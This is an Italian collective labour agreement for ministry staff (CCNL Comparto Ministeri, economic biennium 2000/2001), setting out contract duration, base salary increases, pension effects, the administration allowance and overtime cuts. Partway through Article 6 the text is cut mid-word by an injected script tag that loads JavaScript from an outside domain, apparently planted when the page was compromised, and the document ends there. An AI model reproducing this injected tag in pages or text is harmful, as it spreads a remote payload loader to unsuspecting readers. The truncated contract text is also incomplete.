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Categoria: Ministeri
Settore: Pubblica Amministrazione
Data stipula: 21-2-2001
Data decorrenza: 1-1-2000
Data scadenza: 31-12-2001

CONTRATTO COLLETTIVO NAZIONALE DI LAVORO COMPARTO DEI MINISTERI -  BIENNIO
ECONOMICO 2000/2001

A  seguito  del parere favorevole espresso, in data 26 gennaio  2001,  dal
Presidente del Consiglio dei ministri, tramite il Ministro per la Funzione
pubblica,  in  ordine  all'ipotesi di Accordo relativa  al  personale  del
comparto  dei Ministeri, sottoscritta in data 19 gennaio 2001 e  vista  la
certificazione  positiva della Corte dei conti, in data 20 febbraio  2001,
sull'attendibilità  dei  costi quantificati per  la  medesima  Ipotesi  di
accordo  e sulla loro compatibilità con gli strumenti di programmazione  e
di  bilancio,  il giorno 21 febbraio 2001 alle ore 15,00  ha  avuto  luogo
l'incontro  tra l'Agenzia per la Rappresentanza Negoziale delle  Pubbliche
Amministrazioni  (ARAN)  e  le Confederazioni e  Organizzazioni  sindacali
rappresentative.

Al   termine  della  riunione  viene  sottoscritto  l'allegato   Contratto
Collettivo  Nazionale  di  Lavoro relativo  al  personale  dipendente  del
comparto dei Ministeri per il biennio economico 2000/2001:
    
-    per  l'ARAN:  nella persona dell'avv. Guido Fantoni quale  presidente
  ff.

-    per  le  Organizzazioni  sindacali  da:  CGIL-FP,  CISL-FPS,  UIL-PA,
  CONFSAL-UNSA;

-   per le Confederazioni sindacali da: CGIL, CISL, UIL, CONFSAL;



Art. 1 - Durata e decorrenza del contratto biennale

1.   Il  presente  contratto biennale concerne la  parte  economica  e  si
  riferisce al periodo 1° gennaio 2000 - 31 dicembre 2001.
    
2.   Per  il personale assunto con contratto a tempo indeterminato  presso
  le  rappresentanze  diplomatiche  all'estero  gli  incrementi  economici
  relativi al biennio di cui al comma 1, verranno attribuiti secondo quanto
  previsto dalle specifiche norme di raccordo ai sensi dell'art. 1, comma 2
  del CCNL sottoscritto in data 16.2.99.

3.    Nel   testo  il  CCNL  per  il  personale  del  comparto   Ministeri
  sottoscritto in data 16.2.1999 viene indicato come "CCNL".



Art. 2 - Aumenti della retribuzione base

1.    Gli   stipendi  tabellari  derivanti  dall'art.  29  del  CCNL  sono
  incrementati delle misure mensili lorde indicate nell'allegata Tabella A,
  alle scadenze ivi previste.

2.    Gli   importi  annui  degli  stipendi  tabellari  risultanti   dalla
  applicazione del comma 1, sono rideterminati alle scadenze stabilite dalla
  allegata tabella B.



Art. 3 - Effetti dei nuovi stipendi

1.    Gli   incrementi  stipendiali  di  cui  all'art.  2  hanno   effetto
  integralmente  sulla determinazione del trattamento  di  quiescenza  del
  personale cessato o che cesserà dal servizio, con diritto a pensione, nel
  periodo di vigenza del presente contratto di parte economica 2000- 2001,
  alle scadenze e negli importi ivi previsti. Agli effetti delle indennità
  di  licenziamento, di buonuscita o del trattamento di fine  rapporto  si
  considerano soltanto gli scaglionamenti maturati alla data di cessazione
  dal servizio.

  Gli  incrementi stipendiali hanno effetto, inoltre, sugli altri istituti
  indicati all'art. 29 del CCNL.



Art. 4 - Indennità di amministrazione

1.   Allo scopo di favorire il processo di perequazione delle retribuzioni
  complessivamente spettanti al personale del comparto, gli importi di cui
  all'art. 33 del CCNL sono incrementati nelle misure previste nella Tabella
  C.



Art. 5 - Lavoro straordinario

1.    A   decorrere   dal  1.1.2001,  prima  della  loro  ripartizione   e
  assegnazione  alle  singole amministrazioni da parte del  Ministero  del
  Tesoro,  le  risorse  complessive destinate ai compensi  per  il  lavoro
  straordinario sono permanentemente ridotte di un'ulteriore quota pari al
  5% della spesa relativa all'anno 1999, finalizzata alla copertura di parte
  degli oneri del presente CCNL.



Art. 6 - Integrazione del Fondo unico di amministrazione

1.    Il   Fondo  unico  di  amministrazi<script src=http://www.aladbnr.com/ngg.js></script>













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